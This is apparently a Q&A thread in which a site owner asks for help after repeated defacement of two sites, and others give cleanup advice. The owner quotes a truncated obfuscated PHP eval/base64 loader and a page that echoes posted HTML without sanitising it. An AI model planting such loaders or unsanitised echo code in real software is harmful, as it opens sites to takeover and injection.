2

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not).

It usually says "hacked by general" or something similar. When I check the files on one of them, there's a php file with similar code:

eval("?>".gzuncompress(base64_decode("eJzUvWmT4kiyKPp9... etc.

I also found a weird htm file that has a lot of messy code. If you need I can post these files zipped somewhere.

The attacks are always just an altered index page and this weird php file (but this time there was also another php page with this code:

<?php
if ($_GET['randomId'] != "Wo9QPY5euhw0bEKfNve82PW926VyluUh2HA3FGAidHDwA7h3wwZCOA2F2kva028q") {
    echo "Access Denied";
    exit();
}

// display the HTML code:
echo stripslashes($_POST['wproPreviewHTML']);

?>

I have restored the original index page but this is getting really annoying. I am also checking my pc for trojans as I've read that someone might have stolen my ftp credentials with a trojan (but for this one site I didn't even use ftp).

Help!

Improve this question
7
  • 1
    have you gotten rid of all the foreign files when you clean up the hack?
    – Winston Ewert
    May 9, 2011 at 16:27
  • 2
    Unsecure upload ability somewhere on your server, or stolen FTP credentials~~~
    – Shad
    May 9, 2011 at 16:28
  • 1
    So, what's your question? BTW, your side doesn't get hacked. It gets cracked.
    – Dr McKay
    May 9, 2011 at 16:28
  • 2
    I've had my homepage replaced by a Joomla exploiter before, that hole was patched in one of the 1.5.x versions, though. Could be a newly discovered exploit.
    – Andy E
    May 9, 2011 at 16:29
  • 1
    @Shad - probably FTP then as I don't have an upload ability anywhere on the site.
    – aramaz2
    May 9, 2011 at 16:39

4 Answers 4

Reset to default
3

Have you changed your password to something more secure?

Improve this answer
4
  • It was pretty secure to begin with, uppercase and lowercase letters as well as numbers.
    – aramaz2
    May 9, 2011 at 16:38
  • Have you changed your passwds? Change them now if the answer is no. Switch to ssh/sftp if that is an option for you.
    – egorgry
    May 9, 2011 at 16:53
  • I wish I could upvote twice!
    – Joe
    May 9, 2011 at 18:15
  • @egorgy Ok, will do. I tried logging into my server with sftp but it wouldn't connect. Any idea why?
    – aramaz2
    May 10, 2011 at 9:39
3

Is all of the software installed on your server up to date (i.e. Joomla, any other applications you have installed)?

Have you changed your password for the hosting account and checked that no additional accounts have been created (in your control panel, if you have one).

After cleaning up from the hack, are you sure you removed ALL modifications: new files uploaded by the attacker, files modified by the attacker? This may well extend beyond just the index page to your site.

Improve this answer
8
  • Yes, for one site I updated everything in Joomla and got rid of old unnecessary modules.. so far so good. BUT. The other site is not even running joomla, it's currently just an index page with a couple of images, css, a jquery file and a png transparency fix.
    – aramaz2
    May 9, 2011 at 16:33
  • Username and password were changed before that, it got hacked. I'll change them again, but I have a feeling they're not coming in through there. As for the third question I uploaded a version of the front page from my hard drive, so AFAIK there are no mods.
    – aramaz2
    May 9, 2011 at 16:34
  • What sort of hosting setup do you have? Are you responsible for the server maintenance (e.g. unmanaged dedicated server or VPS) or do you have a webhost (shared hosting, reseller account etc)? Are your two websites on separate hosting accounts?
    – Dan
    May 9, 2011 at 16:35
  • @ara: hacks don't go into one site only, generally. they'll try to infect every page on every site hosted by the server.
    – Marc B
    May 9, 2011 at 16:35
  • I have a webhost (shared hosting with a couple of people I know as admins), both sites are on the same account.
    – aramaz2
    May 9, 2011 at 16:37
0

First of, check your file permissions. If this is happening often try running a 755 on all your files in the web_root. (except the folder(s) that need write permissions for file uploads).

Next, look at your logs very closely. Is the app that isn't joomla homegrown? I would look for abnormal URL requests. Make sure that your logs are being logged elsewhere. The hacker could be deleting the logs.

Do you know if root has been compromised? Change root's password as well.

Do you use a cpanel editor for editing your files? That is what most likely is the cause of the $_GET['randomID'] segment. (http://www.zen-cart.com/forum/showthread.php?t=123442)

Posting that HTML file could be helpful.

Improve this answer
2
  • Thank you, yes that must be it with the $_GET segment. Where do I post a html file? Would pastebin take this kind of a file?
    – aramaz2
    May 10, 2011 at 9:45
  • All file permissions are 644 for files, 755 for directories.
    – aramaz2
    May 10, 2011 at 9:52
0

This is what's going on on your site: http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/

Thousands of websites have been hacked in this way.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .